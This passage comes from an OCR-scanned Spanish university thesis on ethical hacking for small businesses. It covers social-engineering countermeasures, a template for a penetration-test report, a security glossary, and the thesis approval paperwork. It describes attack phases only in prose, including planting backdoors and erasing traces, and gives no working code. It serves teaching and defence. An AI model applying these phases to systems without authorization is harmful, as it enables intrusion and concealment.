Luego de generar confianza aceptable entre la victima y el atacante este Ultimo intentard sacar
provecho de ello y segun avance las conversaciones entre ambos podra obtener poco a poco

informacioén valiosa sin que el usuario sospeche de esto.

9.5 Politicas de seguridad.

Las politicas de seguridad que debe tener toda empresa juega un papel importante en este tipo
de ataque ya que al implementarlo y documentarlo correctamente los usuarios sabran cémo

reaccionar hacia diferentes situaciones que pudieran presentarse.

Estos ataques en la mayoria de ocasiones se aprovechan de que la compafiia no dispone de
procedimientos especificos que deben cumplir y respetar los empleados, es por ello que es
indispensable la correcta implementacion de politicas y sobre todo una capacitacién eficiente a
todos los empleados de la compafiia, siempre dejando constancia en un contrato de
responsabilidad ya que en un gran porcentaje es la Gnica manera de que los empleados tomen

enserio estas medias.

Entre algunos de los topicos importantes que deben abarcar las politicas de seguridad estan:

e Control de virus.

¢ Restricciones de acceso fisico.

¢ Identificacién de los empleados

e Politicas en las contrasefias.

¢ Politicas de privacidad hacia documentos importantes.
¢ Politicas de divulgacion de informacion.

e Privilegios de accesos a la informacion.

En buen cumplimiento de estas politicas hara que se reduzca en un gran porcentaje el riesgo

de ser victima a un ataque de ingeniera social.
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9.6 Contramedidas.

e Verificar la confiabilidad de la informacion de los emails antes de seguir las
instrucciones.

e Tener sumo cuidado con el manejo de archivos adjunto en correos electronicos.

e Manejo de camaras de seguridad en las instalaciones.

e No brindar informacién confidencial via telefénica.

e Politicas de contrasefias (Tiempos de validez y generacién de contrasefias robustas).

e Destruccion de los documentos que no utilizan.

e Categorizar el acceso a la informacion (publico, propietaria, secreta, confidencial).

e Analisis del personal que labora en la institucion.

e Tener un sistema de respuesta a incidentes.

e Constante capacitacion a los usuarios sobre seguridad de la informacion.
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CONCLUSIONES.

Siempre el usuario sera el eslabon mas débil en la cadena de la seguridad de la informacion es
por ello que los atacantes intentan aprovecharse de esto y obtener informacioén que pudiera ser

valiosa, esto sin necesidad de interactuar con los sistemas de la compafia.

Las empresas deben tener un cuidado especial con el personal, toda medida que pueda
implementarse mediante software o hardware puede ser controlada, pero si los usuarios no
estan capacitados adecuadamente no existirdA manera de evitar que un ataque de ingeniera

social tenga éxito.
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CAPITULO X.

INFORME FINAL.

INTRODUCCION.

Una vez realizado el analisis en la empresa que contrato los servicios de un hacker ético,
es de mucha importancia entregar un informe con todas las vulnerabilidades encontradas en la

compariia desde el punto de vista de un hacker.

El informe puede ser leido tanto por el administrador de seguridad como por el gerente de la
compainiia es por ello que debe tener especiaciones claras sin muchos tecnicismos para que el

lector del mismo no tenga problemas en comprender los riesgos encontrados.

Un punto clave de este informe es la confidencialidad ya que al contener informacién sensible
de la empresa puede ser extremadamente riesgoso que caiga en manos equivocadas, es por

esto que en el contrato previo se debe indicar como manejar esta entrega.

En este capitulo se especificard la estructura que deberia tener un informe de estas
caracteristicas para que el resultado entregado a la organizacion cumpla los obijetivos

especificados en el contrato.

253



10. Estructura de un Informe de Hacking Etico.

10.1 Datos del responsable.

En este apartado se especifica los datos del hacker ético: su direccién, nimeros telefénicos y la
experiencia laboral que tiene en el 0 a su vez la empresa para la cual labora. Los datos pueden
ser los siguientes:

Nombre de la empresa.
Nombre y Apellidos del responsable.

Direccion y nimeros Telefonicos.

YV V V V

Experiencia de la empresa en el &mbito de la seguridad.

10.2 Plazos establecidos.

Los plazos establecidos tienen relacion con las fechas de inicio y terminacién del test en la
empresa. Esto se especifica en una reunién previa con la empresa que sera objeto del analisis.

Los datos serian:

> Fecha de Inicio del analisis

> Fecha de Finalizacion del analisis.

10.3 Tipo de Test.
Se debe especificar mediante qué tipo de test se realizé las pruebas segun el acuerdo al que

se lleg6 con los responsables de la empresa, Los tipos de test pueden ser:

> White Box.
» Grey Box.
> Black Box.

10.4 Metodologia utilizada.

Para una compresion clara y detallada de cédmo se realizé el hacking en la empresa se debe

indicar que fases fueron aplicadas en el test y que rol cumple cada una de estos.
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» Reconocimiento.
Es un trabajo de inteligencia para obtener la mayor cantidad de informacion sobre el objetivo,
esta obtencién puede ser tanto actica como pasiva. De manera activa se realiza un analisis de
trdfico. De manera pasiva se puede obtener informacion de la base de datos de Whois,
analizando el cédigo de la pagina web y uno de los més efectivos es haciendo ingenieria social
sobre los empleados de la empresa.

» Escaneo.

En el escaneo lo que se busca es identificar los sistemas que se estan ejecutando y los
servicios que estan activos en esos sistemas, ademas la obtencion de informacion sobre los
usuarios, maquinas activas, grupos ademas de carpetas compartidas entre los diferentes
equipos y también el seguimiento de los servicio que corren entre las mismas, en este punto las
conexiones seran activas esto hace que los administradores del sitio puedan detectar las
conexiones realizadas. Lo que se pretende obtener al final es un mapa detallado de todos los
usuarios, maquinas, servicios, grupos y carpetas compartidas. Para tener una idea global de la
red.

» Obtencion de Acceso.
Se refiere al aprovechamiento de las diferentes vulnerabilidades identificadas en los pasos
anteriores, para tener acceso no autorizado al sistema y modificar la informacién de la

empresa.

» Mantener el acceso.
Se trata de cargar software malicioso para asegurarse de que se podra acceder de nuevo
cuando se requiera. Una de las formas mas comunes de mantener el acceso es instalar una

puerta trasera en el sistema.

> Borrado de huellas.

Realizar actividades para esconder los ataques y modificaciones que se han hecho en el

sistema con el objetivo de ser detectados en el futuro por los administradores del sitio.
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10.5 Resumen Ejecutivo.

El resumen ejecutivo del hacking ético debe ser lo mas claro y preciso sin datos técnico ya que
en la mayoria de casos este sera leido por personas que no tiene mucho conocimiento de

sistemas informaticos. A continuacion se presenta un ejemplo de cémo realizar este reporte.
e Resumen.

Se procedi6 a recabar informacion sobre la pagina web utilizando diferentes tipos de programas
y técnicas que permiten descubrir las vulnerabilidades. Se comenz6 con el analisis de las
personas encargadas del sitio obteniendo sus direcciones y nimeros telefénicos (Responsable:
Fhkkkkkk - Direccion: ******x nisg 4, teléfono: +xxxxkkkkxx - correo electronico: * ¥ - esto tiene su
riesgo porque al ser personas que manejan informacion privada de la empresa pueden ser
blanco facil para realizar una ataque de ingeniera social.

Luego se realizaron pruebas para averiguar que programas tienen en el sitio dando como
resultado que hay aplicaciones que no estan actualizas y ademas estan mal configuradas, con
lo que aprovechando estos errores se obtuvo acceso a la informacioén de los usuarios en la
base de datos de la empresa. A continuacién se averigué como manejan la informacion los
empleados y se puedo constatar que la mayoria de usuarios no tiene un nivel aceptable de
como resguardar la informacion, tomando provecho de esto se obtuvo 25 contrasefias de
usuarios estandar y 2 de usuarios administrativos.

Por todo lo citado anteriormente se deben tomar medidas urgentes en las aplicaciones
utilizadas en la empresa y sobre todo en capacitaciones a los usuarios para que puedan

manejar de forma segura la informacién.

e Principales fortalezas.
En este punto se detallaran los procesos que se estan manejando de manera adecuada en la
organizacién en un lenguaje entendible para el personal administrativo siempre tomando en

cuenta las mejoras que se pudieren implementar.

e Principales debilidades.
Las debilidades se irdn detallando segun el riesgo que presenta para la empresa, toda
vulnerabilidad debe ser detallada de tal manera que el personal lo tome como una prioridad

inmediata para ser solucionada.
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10.6 Resumen Técnico.

e Ambito del Test.

El ambito del test se enfoca a que pruebas se realizaron a la empresa durante el analisis, entre

algunos se pueden citar las siguientes:

YV V.V V V V V V V

Pruebas hacia el servidor web.
Pruebas hacia puertos abiertos.
Pruebas con Sniffers.

Pruebas al servicio FTP.

Ataque de fuerza bruta.

Ataques de diccionario.

Pruebas de ingeniara social.
Pruebas de directorios compartidos.

Pruebas sobre versiones antiguas en las aplicaciones.

¢ Analisis del Objetivo.

En este punto se detallan todos tipos de conexiones que se aplicaron para obtener la

informacién asi como los datos que se encontrados, entre algunos de los topicos que deben ser

citados son:
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Tipo de conexiones utilizadas para las pruebas.
Numero de maquinas analizadas.

Detalle de sistemas operativos encontrados.
Configuraciones de software y hardware.
Encriptaciones encontradas.

Recomendaciones.

e Vulnerabilidades analizadas.

En este punto se detallan las aplicaciones encontradas y si presenta algin tipo de

vulnerabilidad. Algunos items importantes son:

>
>

Vulnerabilidades en Parches.

Vulnerabilidades a nivel de contrasefas.
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Vulnerabilidades a nivel de usuario.
Vulnerabilidades en la Red Interna.
Vulnerabilidades en el servidor web.
Vulnerabilidades en la Base de datos.

Vulnerabilidades en transferencia de archivos.

Recomendaciones.
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CONCLUSIONES.

Un reporte de hacking ético es el consolidado de toda la informacién obtenida durante el
proceso realizado es aqui donde la compafia se dard cuenta de sus vulnerabilidades y que
errores estan cometiendo. Toda la informacion presentada debe ser clara y precisa para que
tanto la parte administrativa como la parte técnica de la compafia obtengan el mayor provecho
del informe. Las recomendaciones brindadas deben ser comprendidas por los administradores

del sistema ya que ellos deberan buscar la mejor solucién para cada vulnerabilidad.
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CONCLUSIONES FINALES.

En la actualidad el Hacking Etico es de suma importancia para que las empresas se anticipen a
posibles ataques informaticos que pudieran poner en peligro su informacion. Luego de haber
mostrado diferentes procedimientos y métodos con los que se pueden comprometer la
seguridad tanto a nivel de usuario como de software se pretende concientizar a las
organizaciones a no dejar en segundo plano la seguridad de sus sistemas por el contrario
deben prestarle mucha atencién ya que pueden ser victimas de ataques.

Todo administrador de sistemas debe estar en un constante fortalecimiento de la seguridad
implementada, asi también todos los usuarios tienen que estar capacitados para no ser
victimas de ingeniera social. Esto hace que la seguridad de una empresa sea responsabilidad
de todos los que forma parte de dicha organizacion desde el personal técnico hasta el personal
administrativo. Lo que se pretendioé con el desarrollo de esta tesis es brindar un enfoque hacia
la seguridad de la informacién basandose en el Hacking ético como método de prueba y control
en las PYMES.
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GLOSARIO.

ADSL: Se trata de un tipo de conexion a Internet y de una clase de modem que se
caracterizan por su elevada velocidad.

Adware: Son aquellos programas que muestran publicidad utilizando cualquier tipo de
medio, puede instalarse con el consentimiento del usuario y su plena conciencia, pero en
ocasiones no es asi.

Amenaza: Es un evento o una accién que puede poner en peligro la seguridad de la
informacion.

ASP: Es un framework para aplicaciones web desarrollado y comercializado por Microsoft.
Es usado por programadores para construir sitios web dinamicos.

Atague: Una accion que viola la seguridad de la empresa.

Ataque dirigido: Son aquellos ataques realizados normalmente de manera silenciosa e

imperceptible, cuyo objetivo es una persona o empresa.

Backdoor: Es un mecanismo de software que permite entrar en un sistemas evitando el
método usual.

Base de datos: Es un conjunto de ficheros que contienen datos y los programas que
gestionan la estructura y la forma en la que éstos se almacenan.

Botnet: Red o grupo de ordenadores controlados por el propietario del software instalado.
Boxing: Uso de aparatos electrénicos o eléctricos para hacer phreaking.

Buffer Overflows: Es un error que se presenta cuando no se controla correctamente la
cantidad de datos que se copia sobre un area de memoria reservada.

Bug hole: Es un defecto de software que permite la intrusion de los crackers.

Bypass: Forma de esquivar un sistema de seguridad informatico.

Cache: Es un area especial de memoria que poseen los ordenadores. Funciona de una

manera similar a como lo hace la memoria principal (RAM), pero es de menor tamafio y de
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acceso mas rapido. Es usado por la unidad central de procesamiento para reducir el tiempo
de acceso a datos ubicados en la memoria principal que se utilizan con mas frecuencia.
Contrasefa: Es una cadena de caracteres con la que se restringe o permite el acceso de
usuarios a un determinado lugar o fichero.

Control remoto: Acceso al ordenador de un usuario (con o sin su consentimiento), desde
otro ordenador.

Cracker: Es una persona interesada en saltarse la seguridad de un sistema informatico
para robar informacion.

Crimeware: Es un tipo de software utilizado para realizar delitos financieros online.
Criptografia: Es una técnica utilizada para proteger datos y documentos mediante el

ocultamiento de la informacion.

Denial of Service: Es un suceso en el cual una empresa se ve privada de poder utilizar un
recurso que normalmente lo podria utilizar.

Dialer: Es un programa que suele ser utilizado para redirigir de forma maliciosa, las
conexiones mientras se navega por Internet.

Disuasion: Es la accidén que permite convencer a alguien para que cambien de parecer.
DMZ: Es una red local que se ubica entre la red interna de una organizacion y una red
externa.

DdoS: Es un ataque de Denegacion de servicios (Dos) realizado al mismo tiempo desde
varios ordenadores contra un servidor.

DNS: Sistema que facilita la comunicacién entre ordenadores conectados a una red (o a
Internet), su localizacion, etc.

Dropper: Es un fichero ejecutable que contiene varios virus en su codificacion.

EndPoints: Es el canal de comunicacién entre dos o0 mas componentes, aplicaciones o
repositorios.

Escaner de puertos: Accidn por la cual se chequean los puertos de comunicaciones y/o
las direcciones IP de un ordenador, para localizarlos y obtener informacién sobre su estado.
Esteganografia: Son técnicas que permiten el ocultamiento de mensajes u objetos dentro

de otros, de modo que no se perciba su existencia.
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Ethernet: Es un estandar de redes de &rea local que sirve como esquema para la conexién
de dos 0 mas equipos y con ello puedan compartir informacion.

Evaluacién del objetivo: Un componente, producto o sistema que es identificado y se
evalla la seguridad del mismo

Exploit: Es una secuencia de comando o un software que es utilizada para quebrar la
seguridad de los sistemas aprovechandose de una vulnerabilidad encontrada.

Fake mail: Es una técnica muy usada en la ingenieria social que tiene como objetivo
enviar un correo para aprovecharse de la confianza del usuario.

Firewall: Software que permite chequear y bloquear el trafico de la red hacia un sistema
determinado.

Framework: Es una estructura que brinda soporte normalmente con médulos de software
gue puede servir de base para el desarrollo de otro tipo de aplicacion.

FTP: Es un mecanismo que permite la transferencia de ficheros a través de una conexién
TCP/IP.

Hacking: Ingreso a sistemas ajenos sin consentimiento de los implicados, esto puede ser
tanto fisicamente como virtualmente.

Hacktivismo: Se refiere a la utilizacion del hacking hacia una pagina web o sistema para
promover un mensaje motivado por la politica o la liberta de expresion.

Hardening: Es el proceso que brinda la posibilidad de reducir al maximo las
vulnerabilidades de un sistema.

Honeypot: Es un software o equipo que finge ser un objetivo hacia un atacante simulando
ser vulnerable, es utilizada para recoger los ataques y las técnicas utilizadas por los
hacker.

Host: Este término se refiere a un ordenador que actia como fuente de informacion.

ICMP: Protocolo de mensajes de control de internet, orientado a fines informativos o de

control de errores.
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IDS: Es un sistema de deteccion de intrusiones, se enfoca en escuchar el trafico de la red
para detectar actividades sospechosas.

IFS (Instalable File System): Sistema que se encarga de gestionar las transferencias de
informacion de entrada y de salida correspondientes a un grupo de dispositivos
informaticos.

Ingenieria Social: Es una técnica que busca convencer al usuario basandose en distintos
medios y técnicas de engafio para que facilite informacion que permita ingresar a su
sistema de forma no autorizada.

IPS: Es un dispositivo que ejerce el control de acceso en una red informatica para proteger

a los sistemas computacionales de ataques y abusos.

Keylogger: Es un software o dispositivo de hardware que registra las pulsaciones que se
realiza en el teclado.
Korn Shell: Es un programa informatico cuya funcién consiste en interpretar 6rdenes por

lineas.

Lammer: Es un término aplicado a personas que presumen de tener conocimiento vy
habilidad para realizar ataques informaticos pero no poseen y no tienen las intenciones de
aprender.

LFI: Es el proceso de inclusién de archivos en el servidor a través del navegador web.

Log: Archivo que recoge un registro de actividades en el sistema.

Malware: Hace referencia al software que causa algun tipo de dafio a los usuarios.

Mapeo: Es la accién por la cual se asigna una letra a una unidad de disco, que se
encuentra compartida en una red de ordenadores como si de un disco mas del ordenador
se tratase.

Metasploit Framework: Es una herramienta utilizada para desarrollar y ejecutar exploits
sobre un equipo remoto.

Meterpreter: Es el diminutivo para meta-interprete, es una herramienta utilizada para

cargar instrucciones en memoria sin crear procesos extras.
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Modo Promiscuo: Quiere decir que la tarjeta de red de la maquina que analiza capturara
todos los paquetes que sean transferidos en la red.

Opcode: Es una fragmento de una instruccion de lenguaje de maquina que especifica la
operacion a ser realizada.
OWASP: Es un proyecto de codigo abierto dedicado a determinar y combatir las causas

gue hacen que el software sea inseguro.

PDU: Dentro del Modelo OSI es utilizada para el intercambio entre unidades disparejas.
Parche de seguridad: Conjunto de ficheros adicionales al software original de una
herramienta o programa informatico que sirven para solucionar sus posibles
carencias, vulnerabilidades o defectos de funcionamiento.

Password Cracking: Es un proceso informatico que consiste en descifrar la contrasefia de
determinadas aplicaciones.

Payload: Se refieren a una carga especifica de informacion en una transicién de datos para
tomar ventaja de una vulnerabilidad.

Phising: Su intencién es enviar a los usuarios a paginas falsas haciéndolas pasar como
legitimas, es muy comun en transacciones bancarias donde los usuarios ingresan datos de
sus tarjetas.

Phreaker: Personas que se especializan en hackear telefonias.

Ping: Es un rastreador de paquetes en una red.

Pirata informatico: Persona dedicada a la copia y distribucion de software ilegal.

Repositorio: Es un sitio centralizado donde se almacena y mantiene informacion digital,
habitualmente bases de datos o archivos informaticos.

RFI: Vulnerabilidad existente solamente en paginas dinamicas en PHP que permite el
enlace de archivos remotos situados en otros servidores.

Robo de identidad: Obtencién de informacién confidencial del usuario, como contrasefias
de acceso a diferentes servicios, con el fin de que personas no autorizadas puedan

utilizarla para suplantar al usuario afectado.
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Rootkit: Programa disefiado para ocultar objetos como procesos, archivos o entradas del
Registro de Windows.

RSA (Rivest, Shamir and Adleman): Es un sistema de cifrado criptografico de clave
publica utilizado para cifrar y realizar firmas digitales.

Scam: Usado para definir los intentos de estafa a través de un correo electronico
fraudulento.

Script: Es un archivo que contiene 6rdenes a ser ejecutadas.

Setear: Establecer la configuracion correcta de un programa o hardware.

Shell Bash: Es un programa informatico cuya funcion consiste en interpretar 6rdenes.

Shell Code: Es un conjunto de o6rdenes programadas generalmente en lenguaje
ensamblador y trasladadas a opcodes que suelen ser inyectadas en la pila de ejecucién de
un programa para conseguir que la maquina en la que reside se ejecute la operacion que
se haya programado.

Sniffer: Programa que se encarga de interceptar informacion que circula en la red.

Socks: Es un protocolo que facilita el enrutamiento de paguetes que se envian entre un
cliente y un servidor a través de un servidor proxy.

SPAM: Son mensajes no solicitados, no deseados o de remitente no conocido,
habitualmente de tipo publicitario.

Spyware: Se trata de un software espia que tiene como objetivo principal enviar
informacion confidencial de los usuarios.

Servidor: Sistema informético (ordenador) que presta ciertos servicios y recursos a otros

ordenadores los cuales estan conectados en red.

Testear: Realiza pruebas hacia un objetivo para analizar los resultados obtenidos.

TIC: Tecnologia de la Informacion y las Comunicaciones.

Timestamp: EsS una secuencia de caracteres que muestran la hora y fecha en la cual
ocurrié determinado evento.

TLS: Son protocolos criptograficos que proporcionan comunicaciones seguras por una red
comunmente Internet.

Tracear: Seguir una pista entre dos 0 mas host a través de la red.
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Trackware: Es todo programa que realiza el seguimiento de las acciones que realiza el
usuario mientras navega por Internet y crea un perfil que utiliza con fines publicitarios.
Tramas: Es una serie sucesiva de bits organizados en forma ciclica, que transportan
informacion y que permiten en la recepcion extraer esta informacion

Troyano: Programa maligno que al ser ejecutado en la maquina objetivo genera dafios.

UDP: Protocolo no orientado a conexién basado en el intercambio de datagramas.

URL: Direccion a través de la cual se accede a las paginas Web en Internet.
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Vulnerabilidad: Existencia de una debilidad en un disefio o un error de implementacion
gue puede desencadenar en un compromiso de la seguridad del sistema.

Vulnerability Research: Es descubrir vulnerabilidades y debilidades de disefio que
permitan atacar un sistema operativo y sus aplicaciones.

VolIP: Recursos que brindan la posibilidad que la sefial de voz viaje a través de Internet

empleando el protocolo IP.

» Zappers: Son programas que tienen como finalidad borrar las huellas en los sistemas

atacados.
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DOCTOR ROMEL MACHADO CLAVLJO,
SECRETARIO DE LA FACULTAD DE CIENCIAS DE LA
ADMINISTRACION
DELA UNIVERSIDAD DEL AZUAY,
CERTIFICA:

Que, el Consejo de Facultad en sesion del 6 de enero de 2012 conocié la
peticion del sefior Santiago Leén Cabrera con cédigo 34912 que presenta su
denuncia de tesis denominada: “MTANUAL DE HACKING ETICO PARA
PYMES.” como requisito previo a la obtencion del Grado de Ingeniero de
Sistemas. El Consejo acoge el informe de la Junta Académica y aprueba la
denuncia de tesis; designa como Director al Ing. Esteban Crespo Martinez y
como miembros del Tribunal Examinador a los Ings. Pablo Esquivel y
Marcos Orellana. De conformidad a las disposiciones reglamentarias el
peticionario debera presentar su trabajo de tesis en un plazo maximo de
DIECIOCHO MESES contados a partir de la fecha de aprobacion, esto es

hasta el 6 de julio de 2013.
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Cuenca, 12 de diciembre de 201 1.

Ingeniero.
Oswaldo Merchan Flores.
DECANO DE LA FACULTAD DE CIENCIAS DE LA ADMINISTRACION.

Ciudad.

De mis consideraciones.

Yo, Santiago Ledn Cabrera, estudiante de la Escuela de Sistemas de la Universidad del Azuay,
solicito a usted de la forma mas comedida y por su intermedio al Honorable Consejo de la
Facuitad la aprobacién del disefio de tesis con el Tema “MANUAL DE HACKING ETICO
PARA PYMES” previo a la obtencion del titule de Ingeniero de Sistemas.

Me permito sugerir el nombre del Ing. Esteban Crespo Martinez como director de tesis, puesto
que he recibido asesoramiento y cuento con su aprobacion.

Por la favorable atencidn que sabré dar a la presente anticipo mi agradecimiento.

Muy Atentamente

Santiago Leon Cabrera.

Codigo.

34912
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Cuenca, 12 de dicie_mbre de 201 1.

Ingeniero.
Oswaldo Merchan Flores.
DECANO DE LA FACULTAD DE CIENCIAS DE LA ADMINISTRACION.

Ciudad.

De mis consideraciornies.

Yo, Ing Esteban Crespo Martinez, profesor de la escuela de Informética, informo a usted que he
procedido a revisar el disefio de tesis presentado por el Egresado Santiago Fabricio Ledn Cabrera
con ¢l Tema “MANUAL DE HACKING ETICO PARA PYMES” como requisito previo a la
obtencion del titulo de Ingeniero de Sistemas, sobre el cual emito ¢l siguiente informe:

El disefio de la tesis presenta, una estructura teérica, metodoldgica y técnica coherente, incorpora
importantes elementos de aplicacién prictica, referente al hacking ético orientado a las PYMES.

Por lo expuesto, emito un informe favorable y recomiendo su aprobacion.

Muy Atentamente

3 o 20000 enmplares No
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Oficio Nro. 054-2011-DIST-UDA

Cuenca, 13 de diciembre de 2011

Sefior Ingeniero

Oswaldo Merchan Manzano

Facultad de Ciencias de la Administracién
£scuela de Ingenieria de Sistemas y Telematica

DECANO DE LA FACULTAD DE CIENCIAS DE LA ADMINSITRACION

Presente.-

De nuestras consideraciones:

La Junta Académica de la Escuela de Ingenieria de Sistemas y Telematica, reunida el dia 22 de

noviembre de 2011, conocié el Proyecto de Tesis titulado “Manual de Hacking Etico para Pymes”,

presentada por el estudiantes Santiago Leén Cabrera de la Escuela de Ingenieria de Sistemas, previo a

la obtencion del titulo de Ingeniero de Sistemas.

La Junta considera que el disefio de monografia presenta una estructura teérica, metodoldgica y téenica

objetiva y coherente, razén por la cual solicita, por su digno intermedio, el conocimiento y aprobacién

por parte del Consejo de Facultad.

Por lo expuesto, y de conformidad con el Reglamento de Graduacién de la Facultad, recomienda

designar como Director de la presente monografia al Ing. Esteban Crespo, y como miembro del

Tribunal alos Ing. Pablo Esquivel e Ing. Marcos Orellana.

Atentamente,

Ing. Patricia Onéga
DIRECTORA ESCUELA DE INGENIERIA
DE SISTEMAS Y TELEMATICA
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1. TITULO DEL PROYECTO.

Manual de Hacking Etico para PYMES.

2. SELECCION Y DELIMITACION DEL TEMA.

La investigacion se centrara en elaborar un manual de hacking ético sobre la seguridad
existente en redes LAN y aplicaciones web, se realizaran los pasos aplicados en un hacking;
para luego de su analisis encontrar las vulnerabilidades y a su vez dar medidas que ayuden a
controlar las fallas. Para esto se utilizaran programas como: Backtrack 4 rl, Nubuntu y

Samurai.

3. DESCRIPCION DEL OBJETO DE ESTUDIO.

Los inicios de los hackers y su filosofia se originaron en el Instituto de Tecnologia de
Massachusetts (MIT) en los afnos 50 y los anos 60. El término “hacker ético” se atribuye a la
investigacion del periodista Steven Levy segun lo descrito en su libro de hackers titulado:
“Héroes de la revolucion de la computadora”, publicado en 1984. “Las pautas de las éticas del
hacker hacen facil ver como las computadoras se han desarrollado en dispositivos personales
gue utilizamos y que confiamos para mantener nuestra informacion. Los puntos claves dentro

de esta ética son el del acceso, informacién libre, y mejora a la calidad de vida.”

Mientras que algunos principios del hacker ético fueron descritos en otros textos como la
Liberacién de la computadora (1974) escrito por Theodor Nelson, este fue uno de los primeros
libros documentados que describian la filosofia y a los fundadores de esta filosofia.

Los Ethical Hackers profesionales poseen una gran variedad de habilidades. Ante todo, deben
ser completamente merecedores de confianza al probar la seguridad de los sistemas de un
cliente. Ademas puede descubrir informacién acerca del cliente que se debe mantener en
secreto, cualquier filtrado de informacién mal manejada podria conducir a que los delincuentes
informaticos irrumpieran en sus sistemas, conduciendo asi a una posible pérdida financiera,

robo de informacion o destruccion de datos.

Durante una evaluacion, el Ethical Hacker maneja “las riendas” o “llaves” de la compaifiia, y por
tanto esta persona debe ser absolutamente profesional y ética ya que manejara informacion
sensible. La sensibilidad de la informacién manejada durante la evaluacién exige que sean

tomadas fuertes medidas de seguridad para el manejo de la misma entre algunas se
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encuentran: laboratorios de acceso restringido con medidas de seguridad fisica, conexiones
multiples de acceso a Internet, caja fuerte para sustentar la documentacion de los clientes,
criptografia reforzada que proteja los resultados electronicos, redes aisladas para el proceso de

experimentacion.

Los Ethical hackers normalmente tienen conocimientos avanzados en programacion. Ademas
dominan el tema de instalacién, mantenimiento y configuracion de varios sistemas operativos,
se podrian mencionar algunos como Unix, Windows, Linux, ademéas de los distintos tipos de
hardware que corren los mismos. Esto da a entender que no solo es necesario tener
conocimientos en software, 0 en seguridad, sino que es necesario conocer y dominar el mayor

tipo de conocimientos sobre sistemas informaticos y todo su entorno.

A mas de los conocimientos también se debe tener un alto grado de paciencia y serenidad. A
diferencia de las peliculas que se ven donde los “hackers” fuerzan una entrada de una
computadora, 0 un sistema en cuestion de segundos, el trabajo de un Ethical Hacker exige
largas jornadas de tiempo y persistencia, asi mismo como los delincuentes informéticos
esperan y monitorean por dias y semanas los sistemas esperando una oportunidad para

penetrar en ella, aprovechando un descuido de su administrador.

Finalmente hay que mantenerse al dia con los avances tecnolégicos y de las tecnologias de la
informacién y la comunicacion (T.1.C), sabemos que es un mundo que se actualiza todos los

dias y aun mas el tema de la seguridad.

4. RESUMEN DEL PROYETO.

Lo que se realizara con esta tesis es dar un enfoque claro y preciso de como se debe realizar
un hacking ético, pasando por varias de sus etapas desde la parte tedrica hasta la parte
practica, simulando ataques a las vulnerabilidades en paginas webs y a redes LAN, se
procedera a encontrar fallas que permitan obtener: accesos a bases de datos, encontrar claves,
ademas de escalar privilegios en la Red, entre otros. Una vez que se tengan datos concretos
se mostrara la forma correcta de presentar estas vulnerabilidades, consiguiendo al final un

manual detallado de cédmo elaborar un hacking ético.
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5. JUSTIFICACION - IMPACTOS.

En nuestro pais todavia no se tiene el suficiente conocimiento en cuanto al resguardo de la
informacioén de empresas publicas y privadas, con este tema lo que se pretende es explorar en
este amplio campo de la seguridad informatica para tener bases para en un futuro cercano
poder anticiparnos a los posibles ataques que pudiesen pasar a las diferentes entidades de

nuestro pais.

IMPACTO TECNOLOGICO.

El impacto tecnoldgico del hacking ético en los ultimos afios en muy grande ya que cada dia
nuevos crackers (cyber delincuentes) tratan de ingresar a informacion de empresas de manera
ilegal, y es por esto que se necesita del hacking ético para poder encontrar las diferentes
vulnerabilidades ya sea en las redes como en las paginas web usando adecuadamente las

herramientas, asi como las técnicas correctas para la divulgacion de la informacion.

IMPACTO SOCIAL.

El impacto social que tiene la aplicacion de un hacking ético es muy elevado ya que es un
campo poco explorado, y tiene una trascendencia fundamental al momento de asegurar la

informacién digital.

6. PROBLEMATIZACION.
Problema General.

La mayoria de empresas todavia desconocen de los peligros que existen en el campo
de la informética y no comprenden que en la actualidad se producen perjuicios a través
de las nuevas tecnologias informaticas. Deben tomar en cuenta las amenazas que
causa una vulnerabilidad en sus sistemas y que tan perjudicial pudiese ser para sus
intereses. La amplia funcionalidad ofrecida por las redes, las bases de datos y los
programas de escritorio también es utilizada por los atacantes en contra de las

organizaciones para hacerles dafios y robar informacion.
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Problemas Especificos.

e Falta de conocimiento de las leyes que rigen al momento de enfrentar un
acceso indebido a los sistemas.

e Desconocimiento de como resguardar correctamente la informacioén de una
compafia.

e Carencia de informacion para realizar una prueba de penetracion a los
sistemas.

e Escasez de documentacion para elaborar un Information Gathering.

e Limitados conocimientos del manejo eficaz de la ingenieria social para
obtener datos de interés en las investigaciones.

7. OBJETIVOS.
Objetivo general.

e Realizar un manual de hacking ético orientado a las PYMES, investigando y
recolectando informacion, para al final brindar un manual de soporte para las

personas interesadas en el tema.

Objetivos especificos.

e Describir las normas y los estandares de seguridad mas relevantes de las ISO-
7498-2 e ISO/IEC -27001 aplicables a las PYMES.

e Crear un Glosario de términos del Hacking Etico.

e Recolectar informacién inicial sobre paginas web utilizando la técnica de

“Information Gathering”.

¢ Enunciar los métodos para obtener informacion importante y confidencial sobre

las PYMES utilizando la técnica de “Ingenieria Social”.
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8. MARCO TEORICO.

La informacidn, los ordenadores, el aspecto fisico y la seguridad personal son cada vez mas las
opciones elegidas, mientras que el mundo parece ser mas amenazante.

Al mismo tiempo que las empresas y las naciones aumentan su dependencia de la tecnologia
sus vulnerabilidades y sus riesgos aumentan cada vez mas. Es una mala suerte que la palabra
hacking se utilice tanto para las actividades maliciosas que realizan los crackers y para el
trabajo que realizan los profesionales de la seguridad para ayudar a la defensa de los ataques.
Las mismas herramientas y técnicas son utilizadas por los crackers y por los hackers éticos,
todo se reduce a la intencion de esas acciones.

Al momento de realizar un hacking ético se necesita ademas de los conocimientos
herramientas que ayuden a realizar las investigaciones para detectar como exactitud y eficacia
la mayor cantidad de vulnerabilidades del objetivo, entre las herramientas mas utilizadas para

realizar estos analisis estan:

BackTrack: Es una distribucion GNU/Linux, es quiza la herramienta mas popular y de mayor
aceptacion entre las personas involucradas en la seguridad informatica.

Esta disefiada para la auditoria de seguridad. Se deriva de la unidbn de dos grandes
distribuciones orientadas a la seguridad, el Auditor + WHAX. WHAX es la evolucion del
Whoppix (WhiteHat Knoppix), el cual pasé a basarse en la distribucién Linux SLAX en lugar de
Knoppix. Esta distribucién incluye una gran variedad de herramientas de seguridad, entre estas
se encuentran scanners de puertos y vulnerabilidades, archivos de exploits, sniffers,

herramientas de andlisis forense y herramientas para la auditoria Wireless.

Wireshark: Anteriormente conocido como Ethereal, es un analizador de protocolos utilizado
para realizar analisis y solucionar problemas en redes de comunicaciones para desarrollo de
software. Cuenta con todas las caracteristicas estandar de un analizador de protocolos.

La funcionalidad que provee es similar a la de tcpdump, pero afiade una interfaz grafica y
muchas opciones de organizacién y filtrado de informacién. Asi, permite ver todo el trafico que
pasa a través de una red estableciendo la configuracién en modo promiscuo. También incluye
una version basada en texto llamada tshark.

